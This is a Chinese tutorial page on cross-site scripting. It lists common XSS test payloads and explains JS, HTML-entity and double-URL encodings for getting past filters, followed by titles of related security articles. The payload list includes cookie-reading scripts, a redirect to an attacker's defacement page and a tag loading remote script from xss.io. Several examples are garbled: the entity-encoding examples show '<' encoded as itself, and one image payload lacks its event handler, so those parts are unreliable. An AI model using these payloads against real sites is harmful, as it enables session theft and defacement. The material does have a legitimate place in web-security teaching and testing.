Web網(wǎng)絡(luò)安全漏洞分析XSS常用語(yǔ)句及編碼繞過(guò)詳解
XSS進(jìn)階
XSS常用語(yǔ)句及編碼繞過(guò)
XSS常用的測(cè)試語(yǔ)句
<img src=1 alert(1)> （顯示1）
<script>alert("xss")</script> (顯示xss)
<script>alert(document.cookie)</script> (顯示cookie）
<script>window.location="（你的黑頁(yè)地址）";</script>
<img src="javascript:alert('XSS')">
<script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
"+alert('XSS')+"
<script src="http://xss.io/a.js"></script>
<div onclick="alert('xss')">
<div onmouseenter="alert('xss')">
"onclick="alert(document.cookie)
常見(jiàn)的XSS的繞過(guò)編碼有JS編碼、HTML實(shí)體編碼和URL編碼。
JS編碼
JS提供了四種字符編碼的策略，如下所示。
三個(gè)八進(jìn)制數(shù)字，如果個(gè)數(shù)不夠，在前面補(bǔ)0，例如“e”的編碼為“\145”。
兩個(gè)十六進(jìn)制數(shù)字，如果個(gè)數(shù)不夠，在前面補(bǔ)0，例如“e”的編碼為“\x65”。
四個(gè)十六進(jìn)制數(shù)字，如果個(gè)數(shù)不夠，在前面補(bǔ)0，例如“e”的編碼為“\u0065”。
對(duì)于一些控制字符，使用特殊的C類(lèi)型的轉(zhuǎn)移風(fēng)格（例如\n和\r）。
HTML實(shí)體編碼
命名實(shí)體：以&開(kāi)頭，以分號(hào)結(jié)尾的，例如“<”的編碼是“<”。
字符編碼：十進(jìn)制、十六進(jìn)制ASCII碼或Unicode字符編碼，樣式為“&#數(shù)值;”，例如“<”可以編碼為“<”和“<”。
URL編碼
這里的URL編碼，也是兩次URL全編碼的結(jié)果。如果alert被過(guò)濾，結(jié)果為%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34。
在使用XXS編碼測(cè)試時(shí)，需要考慮HTML渲染的順序，特別是針對(duì)多種編碼組合時(shí)，要選擇合適的編碼方式進(jìn)行測(cè)試。
以上就是Web網(wǎng)絡(luò)安全漏洞分析XSS常用語(yǔ)句及編碼繞過(guò)詳解的內(nèi)容，更多關(guān)于Web網(wǎng)絡(luò)安全漏洞的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章！
相關(guān)文章
本文講解了SQL注入的原理、特點(diǎn)、危害，SQL注入的攻擊手法和MySQL注入的常用函數(shù)，講解相關(guān)工具，如何去防御SQL注入，帶大家了解了解SQL注入相關(guān)概念，掌握SQL注入攻擊手法，了解SQL注入相關(guān)工具和防御方法2021-09-09
突破神奇的Cloudflare防火墻的網(wǎng)絡(luò)安全學(xué)習(xí)
這篇文章主要為大家介紹了突破神奇的Cloudflare防火墻的網(wǎng)絡(luò)安全學(xué)習(xí)，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進(jìn)步，早日升職加薪2022-07-07
這篇文章主要為大家介紹了ChatGPT在信息安全中的應(yīng)用淺析，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進(jìn)步，早日升職加薪2023-02-02
Web網(wǎng)絡(luò)安全分析Union注入攻擊原理詳解
這篇文章主要為大家介紹了Web網(wǎng)絡(luò)安全中分析Union注入攻擊原理詳解，有需要的朋友可以借鑒學(xué)習(xí)下，希望能夠有所幫助，祝大家多多進(jìn)步早日升職加薪2021-11-11
網(wǎng)絡(luò)安全中流量加密實(shí)現(xiàn)工具冰蝎4.0介紹
冰蝎是一個(gè)動(dòng)態(tài)二進(jìn)制加密網(wǎng)站管理客戶(hù)端。在實(shí)戰(zhàn)中，第一代webshell管理工具"菜刀"的流量特征非常明顯，很容易就被安全設(shè)備檢測(cè)到?；诹髁考用艿膚ebshell變得越來(lái)越多，"冰蝎"在此應(yīng)運(yùn)而生2022-09-09
解讀什么是防火墻...2007-02-02
防止adsl用戶(hù)被入侵的一些技巧與設(shè)置方法
防止adsl用戶(hù)被入侵的一些技巧與設(shè)置方法...2007-03-03
防止絕大部份網(wǎng)頁(yè)病毒的經(jīng)典方法
防止絕大部份網(wǎng)頁(yè)病毒的經(jīng)典方法...2007-02-02
Web網(wǎng)絡(luò)安全解析cookie注入攻擊原理
這篇文章主要為大家介紹了Web網(wǎng)絡(luò)安全分析cookie注入攻擊原理詳解，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進(jìn)步2021-11-11
常見(jiàn)的反爬蟲(chóng)urllib技術(shù)分享
這篇文章主要介紹了常見(jiàn)的反爬蟲(chóng)urllib技術(shù)分享，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進(jìn)步，早日升職加薪2022-04-04